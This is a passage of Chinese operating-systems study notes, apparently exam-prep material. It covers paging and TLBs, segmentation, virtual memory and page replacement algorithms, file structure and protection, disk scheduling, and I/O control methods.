设置一个页表寄存器（PTR），存放页表在内存中的起始地址F和页表长度M\n页表的始址和页表长度放在进程控制块（PCB）中\n3.1.8 具有快表的地址变换机构 快表，又称联想寄存器（TLB， translation lookaside buffer ），是一种访问速度比内存快很多的高速缓存（TLB不是内存！），用来存放最近访问的页表项的副本，可以加速地址变换的速度。与此对应，内存中的页表常称为慢表。\n可优化方向：如果页表放在内存中，取地址访问一次内存，按照地址取出数据访问一次内存，共需要两次访问内存\n访问一个逻辑地址的访存次数\n基本地址变换机构（两次访存）\n具有快表的地址变换机构\n快表命中，只需一次访存\n快表未命中，需要两次访存\n3.1.9 两级页表 单级页表存在的问题 要在所有的页表项都连续存放的基础上才能用这种方法找到页表项\n根据局部性原理可知，很多时候，进程在一段时间内只需要访问某几个页面就可以正常运行了。因此没有必要让整个页表都常驻内存。\n如何解决单级页表的问题？ 如果页数过多，就会导致页表也过多，那么我们可以考虑设置一个用来储存页表的页表（套娃）\n逻辑地址空间格式=一级页号＋二级页号＋页内偏移\n设计多级页表的时候，最后一定要保证顶级页表一定只有一个\n建立多级页表的目的在于建立索引，不必浪费主存空间去储存无用的页表项，也不用盲目式的查询页表项\n3.1.10 基本分段存储管理方式 出发点 分页是从计算机角度考虑设计的，目的是为了内存的利用率，提高计算机性能，分页通过硬件机制实现，对用户完全透明\n分段是从用户和程序员的角度提出，满足方便编程，信息保护和共享，动态增长及动态链接等多方面的需要\n分段 按照用户进程中的自然段划分逻辑空间\n地址结构=段号S+段内偏移量w\n页式系统中，页号和页内偏移对用户透明\n段式系统中段号和段内偏移量必须由用户显示的提供\n段表 每个进程都有一张逻辑空间与内存空间映射的段白，这个段表项对应进程的一段，段表项记录该段在内存中的始址和长度\n段表内容=段号＋段长＋本段在主存中的地址\n地址变换机构 逻辑地址A中取出段号S和段内偏移量w\n比较段号S和段表长度M，若S\u0026gt;=M，则产生越界中断，否则继续执行\n段号S对应的段表项地址=段表始址F+段号S*段表项长度，从该段表项中取出段长C，比较段内偏移量与C的大小判断是否出现越界取出段表项中该段的始址b，计算E=b+W，用得到的物理地址E去访问内存\n段的共享与保护 共享：两个作业的段表中响应表项指向被共享段的同一个物理副本来实现的纯代码或者可重入代码以及不可修改的数据可以被共享\n保护机制：\n存取控制保护\n地址越界保护\n3.1.11 段页式管理方式 页式存储有效的提高内存利用率，分段存储能反映程序的逻辑结构并有利于段的分享，将这两种方式结合一下\n这种二者结合的方法经常在计算机理论中遇到\n思想 作业的地址空间首先被分成若干逻辑段，每段有自己的段号\n每个段分成若千大小固定的页 对内存空间的管理仍然和分页存储管理一样\n地址结构 段号S+页号P+页内偏移量w 为了实现地址变换，系统为每个进程建立了一张段表，每个分段有一个页表 一个进程中，段表只能有一个，页表可以有多个\n补充 不能被修改的代码称为纯代码或可重入代码（不属于临界资源）\n分段与分页的区别 分页对用户不可见，分段对用户可见\n分页的地址空间是一维的，分段的地址空间是二维的\n分页（单级页表）、分段访问一个逻辑地址都需要两次访存，分段存储中也可以引入快表机构\n分段更容易实现信息的共享和保护（纯代码问重入代码可以共享）\n分页管理 优点：内存空间利用率高，不会产生外部碎片，只会有少量的页内碎片\n缺点：不方便按照逻辑模块实现信息的共享和保护\n分段管理 优点：很方便按照逻辑模块实现信息的共享和保护\n缺点：如果段长过大，为其分配很大的连续空间会很不方便\n段式管理会产生外部碎片\n3.2 虚拟内存管理 3.2.1 虚拟内存的基本概念 传统存储管理方式的特征、缺点 一次性： 作业必须一次性全部装入内存后，才能开始运行\n作业很大无法装入则无法运行\n大量作业要求运行时，由于内存不足，只能一部分作业先运行，导致多道程序度下降\n驻留性： 作业装入内存后，一直驻留在内存中，任何部分不会被换出。\n局部性原理 时间局部性 一条指令执行后，不就之后指令可能被再次执行，数据被访问后，不久后数据可能再次被访问\n原因：程序中存在着大量的循环操作\n时间局部性通过将最近使用的指令和数据存储在高速缓冲存储器中\n空间局部性 一旦程序访问了某个存储单元，不久之后附近的存储单元也将被访问\n原因：指令通常是顺序存放，顺序执行的，数据一般也是以向量、数组、表等形式簇聚存储的\n空间局部性使用较大的高速缓存，将预取机制继承到高速缓存控制逻辑中实现\n虚拟存储器的定义和特征 基于局部性原理，程序的一部分装入内存，一部分留在外存，需要的时候将外存内容调入内存，就好像产生了一个巨大的内存空间\n特征 多次性：作业在运行时，分多次调入内存运行\n对换性：作业不必一直驻留内存，允许作业在运行过程中进行换进换出\n虚拟性：从逻辑上扩充内存容量，使用户看到的内存容量远大于实际的内存容量\n虚拟内存技术的实现 建立在离散分配的内存管理方式上\n实现方式 请求分页存储管理\n请求分段存储管理\n请求段页式存储管理\n硬件支持 一定容量的内存和外存\n页表机制（或者段表机制）\n中断机制\n地址变换机制\n3.2.2 请求分页管理方式 系统建立在基本分页系统基础之上，为了支持虚拟存储器功能而增加了请求调页功能和页面置换功能\n区别 请求分页存储管理与基本分页存储管理的主要区别\n在程序执行过程中，当所访问的信息不在内存时，由操作系统负责将所需信息从外存调入内存，然后继续执行程序。\n若内存空间不够，由操作系统负责将内存中暂时用不到的信息换出到外存。\n与基本分页管理相比，请求分页管理中，为了实现“请求调页”，操作系统需要知道每个页面是否已经调入内存；如果还没调入，那么也需要知道该页面在外存中存放的位置。\n当内存空间不够时，要实现“页面置换”，操作系统需要通过某些指标来决定到底换出哪个页面；有的页面没有被修改过，就不用再浪费时间写回外存。有的页面修改过，就需要将外存中的旧数据覆盖，因此，操作系统也需要记录各个页面是否被修改的信息。\n请求页表项增加了四个字段：是否已调；可记录最近被访问过几次，或记录上次访问的时间，供置换算法选择换出页面时参考入内存；页面调入内存后是否被修改过；页面在外存中的存放位置。\n页表机制 组成：页号、物理块号、状态位P、访问字段A、修改位M、外村地址\n状态位：当前页是否已经调入内存\n访问字段A：记录本页在一段时间内被访问的次数修改位M：记录本页是否被修改过\n外存地址：指出该页在外存上的位置（通常是物理块号）\n缺页中断 当访问页面不在内存时就会产生缺页中断\n特点\n指令执行期间产生中断，而不是指令执行之后产生中断和处理中断\n—条指令在执行期间，可能产生多次缺页中断\n地址变换机构 检索快表，找到访问页，修改页表项中的访问位，利用页表项中给出的物理块号和页内地址形成物理地址\n没有找到改页的页表项，去内存中寻找页表，看该页是否已经调入内存，没有调入则产生缺页中断，请求从外存把该页调入内存\n3.2.3 页面置换算法 最佳置换算法（OPT） 选择永不使用或者最长时间内不再访问的页面进行淘汰，但是现实中是无法预知的\n优点：缺页率最小，性能最好\n先进先出页面置换算法（FIFO ） 优先淘汰最早进入的页面\n优点：实现简单\n缺点：与进程的实际运行规律不匹配\nBelady异常：增大分配的物理块数但是故障数不减反增―只有先进先出算法会出现\n最近最久未使用（LRU ）置换算法 选择最近最长时间没有被访问的页面进行淘汰，每个页面设置一个访问字段，用来标识上次被访问到现在经历的时间\n优点：性能好\n缺点：实现复杂需要寄存器和栈的硬件支持LRU是堆栈类算法\n时钟（CLOCK）置换算法 简单的CLOCK 算法实现方法：为每个页面设置一个访问位，再将内存中的页面都通过链接指针链接成一个循环队列。当某页被访问时，其访问位置为1。当需要淘汰一个页面时，只需检查页的访问位。如果是0，就选择该页换出；如果是1，则将它置为0，暂不换出，继续检查下一个页面，若第一轮扫 描中所有页面都是1，则将这些页面的访问位依次置为0后，再进行第二轮扫描（第二轮扫描中一定会 有访问位为0的页面，因此简单的CLOCK 算法选择一个淘汰页面最多会经过两轮扫描）\n优点：性能接近于最佳置换算法\n缺点：实现复杂开销大\n改进型CLOCK算法 使用位（访问位）的基础上增加修改位\n扫描过程 扫描缓冲区，选择第一个使用位和修改位都为0的页面换出\n第一步失败后，查找使用位为0，修改位为1的进行替换，对于每个跳过的帧，将使用位置为0\n第二步失败后，指针回到初始地点且使用位（访问位）均为0，重复第一步\n优点：相对于未改进型，节省了时间\n3.2.4 页面分配策略 驻留集 给一个进程的分配的物理页框的集合就是这个进程的驻留集\n分配给一个进程的的存储量越小，任何时候驻留在主存中的进程数就越多，可以提高处理机的时间利用率一个进程在主存中的页数过少，页错误率就会相对较高\n页数过多，对进程的错误率也不会产生过多的影响\n页面分配、置换策略 固定分配局部置换 每个进程分配固定物理块数，缺页的时候就进行换页\n难以确定每个进程应该分配的物理块数\n太多导致资源利用率下降太少导致频繁缺页中断\n可变分配全局置换 进程分配一定物理块，系统自身保留一定空闲物理块，如果进程缺页，就对该进程分配新的物理块\n优点：最容易实现，动态调整物理块分配\n缺点：如果盲目分配物理块，就会导致多道程序并发能力下降\n可变分配局部置换 根据进程的缺页情况，对物理块进行动态分配，如果频繁缺页，就对其多分配物理块，如果缺页率特别低，就减少其物理块\n优点：保持了系统的多道程序并发能力\n缺点：增大了开销，实现复杂\n调入页面的时机 预调页策略 将预计不久被访问的页面调入，成功率约为50%\n当进程提出缺页的时候，再按照一定策略进行调页\n请求调页策略 特点：一次调入—页，调入/调出页面数多时会花费过多的I/O开销\n从何处调页 拥有足够的对换空间 可以全部从对换区调入所需页面，提高调页速度\n缺少足够的对换区空间 不会被修改的文件从文件区调入，可能被修改的部分换入对换区，以后再从对换区调入\n原理：读速度比写速度块\nUNIX方式 进程相关文件访问文件区，没有运行的页面从文件区调入，曾经运行过但又被换出的页面放在对换区\n抖动（颠簸）现象 刚换出的页面又要换入内存\n分配的物理页帧数不足（主要原因）\n原因\n置换算法不当\n配给其他进程\n工作集 某段时间内，进程要访问的页面集合。\n原理 操作系统跟走每个进程的工作集，并为进程分配大于其工作集的物理块\n落入工作集的页面需要调入驻留集中，落在工作集外面的页面可以从驻留集中换出\n若还有空闲物理块，可以再调入一个进程到内存以增加多道程序数。\n若所有进程的工作集之和超过了可用物理块的总数，操作系统就会暂停一个进程，并将其页面调出并将其物理块分\n第四章 文件管理 4.1 文件管理 文件之间应该如何被组织起来（目录结构）\n文件应如何存放在外存中（文件的物理结构）\n操作系统如何管理外存中的空闲块（存储空间的管理）\n操作系统需要提供的其他文件管理功能\n文件共享：使多个用户可以共享使用一个文件\n文件保护：如何保证不同的用户对文件有不同的操作权限\n4.1.1 初识文件管理 文件的定义 文件：创建者所定义的一组相关信息的集合\n记录：一组数据项的集合，用于描述—个对象在某方面的属性\n数据项：数据项是文件系统中最低级的数据组织形式\n基本数据项：用于描述一个对象的某种属性的一个值\n组合数据项：多个基本数据项组成\n文件是以计算机硬盘为载体的存储在计算机上的信息集合，文件可以是文本文档、图片、程序等\n系统运行时，计算机以进程为基本单位进行资源的调度和分配\n在用户输入输出时，以文件为基本单位\n操作系统的文件系统：用于实现文件的权限访问，修改，查询和保存等功能\n文件的属性 文件名、标识符、类型、位置、大小、保护信息\u0026hellip;文件内部应该如何被组织起来（文件的逻辑结构）\n名称：文件名称唯一，以容易读取的形式保存\n标识符：文件的唯一标签，通常为数字，是对人不可读的一种内部名称\n类型：被支持的不同类型的文件系统所使用\n位置：指向设备和设备上文件的指针\n大小：文件当前的大小，包含文件允许的最大值\n保护：对文件进行保护的访问控制信息\n时间、日期和用户标识：文件创建、修改和上次访问的相关信息，用于保护和跟踪文件的使用\n4.1.2 文件的逻辑结构 有结构文件：相似的记录组成（记录式文件） 无结构式文件：字符流组成（流式文件）\n无结构式文件 最简单的文件组织形式\n将数据按照顺序组织记录并积累、保存、是有序相关信息项的集合\n由于其没有结构，所以只能采用穷举搜索\n管理简单，方便用户对其操作\n基本信息单位操作不多的文件适合采用字符流的无结构方式\n有结构文件 顺序文件 文件的记录是一个接一个排列，记录通常是定长的，可以顺序存储或者链表存储\n批量处理时，顺序文件的效率是所有逻辑文件中效率最高的 但是增删改查操作比较困难\n索引文件 定长记录文件 按照公式A= i*L可以直接得到文件地址（第i条记录，L是文件长度） 变长记录文件\n查找前i-1条记录后，才能查找第i条记录\n通过建立索引表后可以有效提高查找速度\n索引顺序文件 顺序和索引两种组织形式的结合。\n索引文件将顺序文件中的所有记录分成若干组，为顺序文件建立起一张索引表，在索引表中为每组中的第一条记录建立一个索引项，其中含有该记录得关键字值和指向该记录的指针\n索引顺序文件提高了查找效率，但是索引表也占用了存储空间\n直接文件或散列文件 给定记录的键值或通过散列函数转换的键值直接决定记录的物理地址\n这种映射结构不同于顺序文件或者索引文件，没有顺序的特性\n4.1.3 文件目录 包含有关文件的信息，比如属性、位置和所有权等\n文件控制块（FCB） 用来存放控制文件需要的各种信息的数据结构，实现“按名存取”。\n包含信息 基本信息：文件名，文件的物理位置，逻辑结构、物理结构等\n存取控制信息：文件存取权限\n使用信息：文件建立时间修改时间\n索引节点 检索目录文件时，不需要将文件调入内存，只是查找其目录项，文件的描述信息单独形成为索引节点的数据结构\n磁盘索引节点 文件主标识符：拥有该文件的个人或小组的标识符\n文件类型：普通文件、目录文件、特别文件\n文件存取权限：各类用户对该文件的存取权限\n文件物理地址：每个索引节点中含有13个地址项，直接或者间接的方式给出数据文件所在盘块的编号文件长度：字节为单位\n文件链接计数：本文件系统中所有指向该文件的文件名的指针计数\n文件存取时间：文件最近被进程存取，修改以及索引节点最近被修改的时间\n文件打开后内存索引节点增加的内容 索引结点编号：用于标识内存索引节点\n状态：指示i节点是否被上锁或者被修改\n访问计数：每当有一个进程要访问此i结点时，计数加1，访问结束减1_逻辑设备号：文件所属文件系统的逻辑设备号\n链接指针：设置分别指向空闲雠表和散列队列的指针\n目录结构分类 单机目录结构 整个文件系统只建立一张目录表，每个文件占一个目录项\n优点：实现了按名存取\n缺点∶查找速度慢，文件不允许重名，不便于文件共享，不适用于多用户的操作系统\n两级目录结构 将文件分为主目录和用户目录，主目录记录用户名及相应用户文件目录所在的存储位置，用户目录项记录该用户文件的FCB信息。\n优点：解决了不同用户文件重名问题，在一定程度上保证了文件的安全\n缺点：缺乏灵活性，不能对文件分类\n多级目录结构 将两级目录结构的层次关系加以推广，就形成了多级目录结构，即树形目录结构进程对各文件的访问都是相对于当前目录进行的\n优点：有效的对文件进行分类，文件结构层次清晰，能够有效的进行文件管理和保护\n缺点∶按照路径名访问中间结点，增加了磁盘访问次数，降低了查询速度\n无环图目录结构 在树形目录结构基础上增加了一些指向同一结点的有向边，使整个目录称为一个有向无环图。\n可以用不同的文件名指向同一个文件\n优点：有利于实现文件共享\n4.1.4+4.1.5 文件的物理结构 文件分配方式 连续分配 每个文件在磁盘上占有一组连续的块，磁盘地址定义了磁盘上的一个线性排序。访存1次\n优点：实现简单，存取速度快，使得访问磁盘需要的寻道数和寻道时间最小\n缺点：文件长度不宜动态的增加，会产生外部碎片\n链接分配 采用离散分配方式，提高了磁盘空间利用率 消除了外部碎片 访存n次 磁盘块分布在磁盘的任何地方，除最后一个盘块，其他盘块都有指向下一个盘块的指针\n隐式链接 优点∶不会有碎片问题，外存利用率高\n缺点：不能直接访问稳定性存在问题 把用于链接文件各物理块的指针，从每个物理块的末尾提取出来，显示的存放在内存的一张连接表中。整个磁盘设置一张\n显示链接 优点：显著的提高检索速度，减少了访问磁盘次数\n缺点：文件分配表的需要占用一定的存储空间\n索引分配 索引分配解决了链接分配不能直接访问的问题，支持随机访问\nm级要访存m+1次\n优化机制\n链接方案：一个索引块通常为一个磁盘块，为了处理大文件，可以将多个索引块链接起来\n多层索引：第一层索引块指向第二层索引块，第二层索引块，指向文件块\n混合索引系统既采用直接地址有采用单级索引分配方式或者两级索引分配方式\n4.1.6 逻辑结构VS物理结构 逻辑结构 用户（文件创建者）的视角看到的亚子\n在用户看来，整个文件占用连续的逻辑地址空间\n文件内部的信息组织完全由用户自己决定，操作系统并不关心\n物理结构 由操作系统决定文件采用什么物理结构存储\n操作系统负责将逻辑地址转变为（逻辑块号，块内偏移量）的形式，并负责实现逻辑块号到物理块号的映射\n4.1.7 文件的基本操作 （create、delete、open、close、read、write系统调用）\n创建文件 文件系统为文件找到空间\n目录中为文件创建条目，该条目记录文件名称、在文件系统中的位置以及其他可能的信息\n写文件 执行系统调用，指明文件名称和写入内容，查找文件位置，为该文件维护一个写位置的指针，当发生写操作的时候更新写指针\n读文件 执行系统调用，指出文件名称和文件位置，搜索目录项，系统维护一个读指针，发生读操作就对该指针进行更新\n文件重定位（文件寻址） 按照某种条件搜索目录，将当前文件位置设为定值。并且不会读、写文件\n删除文件 搜索目录，找到文件的目录项，使其变为空项，然后回收目标文件占用的存储空间\n截断文件 允许文件的所有属性不变，并删除文件内容，即将其长度设为0并释放其空间\n关闭文件 将进程打开文件表中的相应表项删除\n系统打开文件表的打开计数器减1，若打开计数器为0，则删除系统表的表项\n打开文件 将目录项中的信息复制到内存中的打开文件表中，并将打开文件表的索引号返回给用户\n打开文件之后，对文件的操作不再需要每次都查询目录，可以根据内存中的打开文件表进行操作\n每个进程有自己的打开文件表，系统中也有一张总的打开文件表\n进程打开文件表中特有的属性：读写指针、访问权限（只读?读写?）\n系统打开文件表中特有的属性：打开计数器（有多少个进程打开了该文件）\nopen请求 首次使用文件，会调用open请求指明文件的属性（包括其物理位置）从外存复制到内存打开文件表的一个表目中，并将该表目的编号（索引）返回给用户；\n操作open会根据文件名搜索目录，并将目录条目复制到打开文件\n调用open请求（创建、只读、读写、添加等）得到允许，进程就可以打开文件，open会返回一个指向打开文件表中的一个条目的指针\n通过使用该指针进行I/O操作，简化步骤并节省资源\n文件关联信息 文件指针：系统跟踪上次的读写位置作为当前文件位置的指针，这种指针对于打开文件的某个进程来说是唯一的，因此必须与磁盘文件属性分开保存\n文件打开计数：文件关闭时，必须重用其打开文件表条目，否则表内空间会不够用，计数器为0关闭文件，删除该条目\n文件磁盘位置：该信息存储在内存放，以免每个操作都要从磁盘中读取\n访问权限：每个进程打开文件都需要一个访问模式（创建、只读、读写、添加等）。该信息保存在进程打开的文件表中，以便操作系统能够允许或拒绝之后的I/O请求\n4.1.8 文件存储空间管理 文件存储在一个文件卷中，文件卷可以是物理盘的一部分，也可以是整个物理盘\n在一个文件卷中，文件数据信息的（文件区）和存放文件控制信息FCB的空间是分离的\n文件存储设备分成许多大小相同的物理块，以块为单位交换信息\n文件存储设备管理的实质是对空闲块的组织和管理，包括空闲块的组织、分配与回收等问题\n空闲表法 属于连续分配方式，系统为空闲区建立一张空闲盘块表，每个空闲区第一个盘块号，该区的空闲盘块数等信息。\n空闲链表法 将所有的空闲盘区拉成一条空闲链，根据构成链所有的基本元素不同，可以把链表分成两种形式\n空闲盘块链：将磁盘上所有空闲空间以盘块为单位拉成一条链\n空闲盘区链：将磁盘上所有空闲盘区拉成一条链\n位示图法 采用二进制的一位来表示一个盘块的使用情况，磁盘上所有的盘块都有一个二进制位与之对应\ni行j列\n盘块的分配 计算公式： b = n(i-1）+j\n盘块的回收\ni = （ b-1） DIV n + 1\nj = （b-1）MOD n+ 1\n成组链接法 UNIX使用，结合了空闲表和空闲链表法克服了表太大的缺点\n把顺序的n个空闲扇区地址保存在第一个空闲扇区内，其后一个空闲扇区内则保存另一顺序空闲扇区的地址\n4.1.9 文件共享 基于索引节点的共享方式（硬链接） 文件目录中只没置文件名及指向相应索引节点的指针，在索引节点中还有一个链接计数conut，用于表示链接到本索引节点（即文件）上的用户目录项的数目。\n硬链接是多个指针指向─个索引结点，保证只要还有一个指针指向索引节点，索引节点就不能制除\n优点：硬链接的查找速度要比软链接快\n利用符号链实现共享方式（软链接） 快捷方式\nB用户共享A用户的文件F时候，系统创建一个LINK类型的新文件，也取名F，然后将文件F写入用户B的目录中，但是新文件中知识含有被缆接文件F的略径名\n软链接就是把到达共享文件的路径记录下来，当要访问文件时，根据路径寻找文件\n优点∶网络共享只需要提供该文件所在机器的网络地址及该机器中的文件路径\n缺点∶由于是根据文件路径名查找文件，因此会增加时间开销并且增加了启动磁盘的频率，同时符号储的索引节点也会耗费一定的硬盘空间\n4.1.10 文件保护 为了防止文件共享导致文件被破坏或者未经允许修改、窃取或者存取文件，文件系统必须控制用户对文件的存取，解决对文件的读、写、执行的许可问题\n口令保护 口令：用户请求访问时需要提供相应的口令\n优点：时间和空间开销不多\n缺点：口令直接存储在系统内部不安全\n加密保护 密码：用户对文件进行加密，用户访问需要秘钥解密\n优点：保密性强。节省了存储空间\n缺点：加密和解密需要花费一定时间\n访问控制 根据用户身份进行控制，为每个文件和目录增加一个访问控制列表，规定每个用户名及其所允许的访问类型\n优点：可以使用复杂的访问方法\n缺点：长度无法预计且可能导致复杂空间管理\n访问类型 读、写、执行、添加、删除、列表清单（列出文件名和属性名）\n还可以对文件重命名、复制、编辑等加以控制\n精简访问列表 拥有者：创建文件的用户\n组：一组需要共享文件且具有类似访问的用户\n其他：系统内的所有其他用户\n口令和密码都是防止文件被他人存取或者窃取，没有控制用户对文件的访问类型\n4.1.11 文件系统的层次结构 4.1.12 文件系统实例 4.2 磁盘管理 4.2.1 磁盘的结构 磁盘、磁道、扇区的概念 磁盘的表面由一些磁性物质组成，可以用这些磁性物质来记录二进制数据\n磁盘表面上的数据存储在一组同心圆中，称为磁道\n一个磁道又被划分成一个个扇区，每个扇区就是一个“磁盘块”。各个扇区存放的数据量相同（如1KB）\n最内侧磁道上的扇区面积最小，因此数据密度最大\n如何在磁盘中读/写数据 需要把“磁头”移动到想要读/写的扇区所在的磁道。磁盘会转起来，让目标扇区从磁头下面划过，才能完成对扇区的读/写操作\n盘面、柱面的概念 磁盘的物理地址 可用（柱面号，盘面号，扇区号）来定位任意一个“磁盘块”。\n磁盘的分类 磁头是否可移动\n固定头磁盘∶磁头相对于盘片的径向方向固定\n活动头磁盘：每个磁道一个磁头，磁头可以移动\n盘片是否可更换\n固定盘磁盘∶磁头臂可以来回伸缩定位磁道，磁盘永久固定在磁盘驱动器内\n可换盘磁盘∶可以移动和替换\n4.2.2 磁盘调度算法 读写时间组成 寻找时间（寻道时间）TS：在读/写数据前，将磁头移动到指定磁道所花的时间。\n①启动磁头臂是需要时间的。假设耗时为s；\n②移动磁头也是需要时间的。假设磁头匀速移动，每跨越一个磁道耗时为m，总共需要跨越n条磁道。则：寻道时间TS = s + m*n\n延迟时间TR：通过旋转磁盘，使磁头定位到目标扇区所需要的时间。\n设磁盘转速为r（单位：转/秒，或转/分），则平均所需的延迟时间TR = （1/2）*（1/r） = 1/2r\n传输时间Tt：从磁盘读出或向磁盘写入数据所经历的时间，假设磁盘转速为r，此次读/写的字节数为b，每个磁道上的字节数为N。则：传输时间Tt = （1/r） * （b/N） = b/（rN）\n先来先服务（FCFS） 按照进程请求访问磁盘的先后顺序进行调度\n优点：公平实现简单\n缺点：适用于少量进程访问，如果进程过多算法更倾向于随机调度\n最短寻找时间优先（SSTF） 选择调度处理的磁道是与当前磁头所在磁道距离最近的磁道\n优点：性能强于先来先服务算法\n缺点：容易产生饥饿现象\n扫描算法（SCAN） 在磁头当前移动方向上选择与当前磁头所在的磁道距离最近的请求作为下一次服务对象，只有磁头移动到最外侧磁道的时候才能往内移动，移动到最内侧磁道的时候才能往外移动，因此也叫电梯算法。\n优点：寻道性能好，可以避免饥饿现象\n缺点：对最近扫描过的区域不公平，访问局部性方面不如FCFS和SSTF好\n循环扫描算法（c-SCAN） 磁头单向移动，回返时直接回到起始端，而不服务任何请求\nLOOK与C-LOOK 在SCAN与C-SCAN算法的基础上规定了查看移动方向上是否有请求，如果没有就不会继续向前移动，而是直接改变方向（LOOK）或者直接回到第一个请求处（ C-LOOK）\n4.2.3 减少磁盘延迟时间的方法 交替编号 具体做法：让编号相邻的扇区在物理上不相邻\n原理：读取完一个扇区后需要一段时间处理才可以继续读入下一个扇区\n错位命名 具体做法：让相邻盘面的扇区编号“错位”\n原理：与“交替编号“的原理相同。“错位命名法“可降低延迟时间\n磁盘地址结构的设计 理解为什么要用（柱面号，盘面号，扇区号）的结构\n理解为什么不用（盘面号，柱面号，扇区号）的结构\n原因：在读取地址连续的磁盘块时，前者更不需要移动磁头，由于柱面号/磁道号相同，只是盘面号不同，因此不需要移动磁头臂。只需要激活相邻盘面的磁头即可\n4.2.4 磁盘的管理 磁盘初始化 低级格式化：磁盘分扇区，为每个扇区采用特别的数据结构（头、数据区域、尾部组成），头部含有一些磁盘控制器所使用的信息\n进一步格式化处理∶磁盘分区，对物理分区进行逻辑格式化（创建文件管理系统），包括空闲和已分配的空间及一个初始为空的目录\n引导块 计算机启动时运行自举程序，初始化CPU寄存器、设备控制器和内存等，然后启动操作系统\n组局程序通常保存在ROM中，在ROM中保留很小的自举块，完整的自举程序保存在启动块上拥有启动分区的磁盘称为启动磁盘或系统磁盘\n坏块 无法使用的扇区\n对于简单的磁盘，可以在逻辑格式化时（建立文件系统时）对整个磁盘进行坏块检查，标明哪些扇区是坏扇区，比如：在FAT表上标明\n处理方式\n简单磁盘：手动处理，对坏块进行标记，程序不会使用\n复杂磁盘：控制器维护一个磁盘坏块链表，同时将一些块作为备用，用于替代坏块（扇区备用）\n第五章 输入输出管理（IO） 5.1 输入输出管理（IO） 5.1.1 IO设备的基本概念和分类 “I/O”就是“输入/输出”（Input/Output）I/O设备就是可以将数据输入到计算机，或者可以接收计算机输出数据的外部设备，属于计算机中的硬件部件。\n按使用特性分类 人机交互的外部设备 用于与计算机用户之间交互设备（打印机，鼠标，键盘）\n交换速度相对较慢，以字节为单位进行数据交换\n存储设备 用于存储程序和数据的设备（磁盘、磁带、光盘）\n交换速度较快，以多字节组成的块为基本单位交换\n网络通信设备 用于远程设备通信的设备（网络接口、调制解调器）\n速度介于前两类之间\n传输速率分类 低速设备：每秒进位几个字节到数百字节（鼠标、键盘）\n中速设备∶传输速率为每秒数千字节至数万字节（行式打印机、激光打印机）\n高速设备：传输速率在数百兆字节至千兆字节的一类设备（磁带机、磁盘机、光盘机）\n信息交换单位分类 块设备：信息存取总是以数据块为基本单位，存储信息的设备称为块设备传输速率高，可寻址，可以任意读写某块\n字符设备：用于数据输入输出的设备为字符设备，传输的基本单位是字符（交互式终端机，打印机）”传输速率低，不可寻址，输入输出时常采用中断驱动方式\n5.1.2 IO控制器 5.1.3 IO控制方式 程序直接控制方式 计算机从外部设备读取数据到存储器，每次读一个字的数据，对读入的每个字，CPU都要对外没状态进行循环检查，知道确定该字已经在I设备控制器的数据寄存器中。\n读写单位：字\n优点：容易实现，操作简单\n缺陷∶CPU高速性和IO设备的低速性的矛盾（降低了CPU的利用率），CPU和IO设备只能串行工作\n中断驱动方式 允许IO设备主动打断CPU的运行并请求服务，进而解放CPU，使其向IO控制器发送读命令后可以继续做其他有用的工作\n读写单位∶字\n优点∶比程序直接控制方式有效\n缺点：数据的传输必须要经过CPU，仍然后消耗CPU的时间\nDMA方式 在IO设备和内存之间开辟直接的数据交换通路，彻底解放CPU\n读写单位：数据块\n设备直接送入内存\n只有当一个或多个数据块开始和结束的时候，CPU才会进行干预\n命令/状态寄存器（CR）：用于接收CPU发送的IO命令和有关控制信息或者设备状态\n内存地址寄存器（MAR）：数据直接在设备与内存之间交互\n数据寄存器（DR）：用于暂存从设备到内存或者从内存到设备的数据\n数据计数器（DC） ：存放本次要传送的字（节）数\n通道控制方式 设置一个专门负责输入/输出的处理机（DMA方式的发展），实现对一组数块的读写以及相关控制和管理为单位干预\n读写单位：一组块\n优点：有效的提高了系统资源利用率\n缺点：实现较为复杂\nDMA与通道的区别 DMA需要CPU来控制传输的数据块大小、传输的内存位置、而通道方式中这些信息是由通道控制的\nDMA控制器对应一台设备与内存传递数据，通道可以控制多态设备与内存的数据交换\n5.1.4 IO软件层次结构 用户层IO软件 实现与用户交互的接口，用户可以直接调用在用户层提供的，与IO操作有关的库函数，对设备进行操作\n设备独立性软件 用于实现用户程序与设备驱动器的统一接口、设备命令、设备保护、差错控制及设备分配与释放，同时为设备管理与数据传送提供必要的存储空间\n设备独立性也称为设备无关性，使得应用程序独立于具体使用的物理设备（使用逻辑设备名）\n使用逻辑设备名的好处：增加设备分配的灵活性；易于实现IO重定向\n主要功能\n执行所有设备的公有操作（设备的分配与回收，逻辑设备名映射为物理设备名，对设备进行保护，进制用户直接访问设备），屏蔽设备之间数据交换的速度差异等\n向用户层（文件层）提供统一接口∶无论哪种设备，他们向用户提供的接口都是相同的\n设备驱动程序 与硬件直接相关，负责实现系统对设备发出的操作命令，驱动IO设备工作的驱动程序\n中断处理程序 用于保存被中断进程的CPU环境，转入相应的中断处理程序进行处理，处理完并恢复被中断进程的现场后，返回被中断进程\n硬件设备 IO设备通常包括一个机械部件和一个电子部件\n5.1.5 IO核心子系统 IO子系统概述 主要提供IO调度，缓冲与高速缓存，设备分配与回收，假脱机，设备保护和差错处理\nIO调度概念 通过IO调度改善系统整体性能，使得进程之间公平共享设备访问，减少IO完成所需要的平均等待时间\n使用主存或者磁盘上的存储空间的技术，如缓冲、高速缓存、假脱机等来改善计算机效率\n5.1.6 假脱机技术 目的 缓解CPU 与IO的速度差异矛盾\n要实现SPOOLing 技术，必须要有多道程序技术的支持\n输入井和输出井 输入井用来收容IO设备的数据\n输出井用来模拟输出时的磁盘\n输入缓冲区和输出缓冲区 输入缓冲区：暂存由输入设备送来的数据\n输出缓冲区：暂存从输出井送来的设备\n输入进程和输出进程 输入进程∶模拟脱机输入时的外围控制机，将用户要求的数据从输入机通过输入缓冲区送到输入并中，当CPU需要数据，直接将输出井中的数据送入内存\n输出进程：模拟脱机输出时的外围控制机，把用户要求输出的数据先从内存送到输出井中，待输出设备空闲时，再将输出井中的数据经过输出缓冲区送到输出设备\n特点 提高了IO速度\n独占设备变成了共享设备\n实现了虚拟设备功能\n通俗一点就是，如果设备被占用，我们就先把数据暂存一下，等到设备空闲了就把这些数据输送到设备中\n5.1.7 设备的分配与回收 概述 ―根据用户IO请求分配设备，原则：充分发挥设备的使用效率，避免进程死锁\n设备类型分类 独占式使用设备设备只能互斥使用（打印机）\n分时共享使用设备通过分时共享来提高设备的利用率\nSPoOLing方式使用设备使用空间换时间，对IO设备进行批处理\n设备分配的数据结构 设备控制表（DCT） 一个设备控制表表征一个设备，控制表中是设备的各项属性\n控制器控制表（COCT） 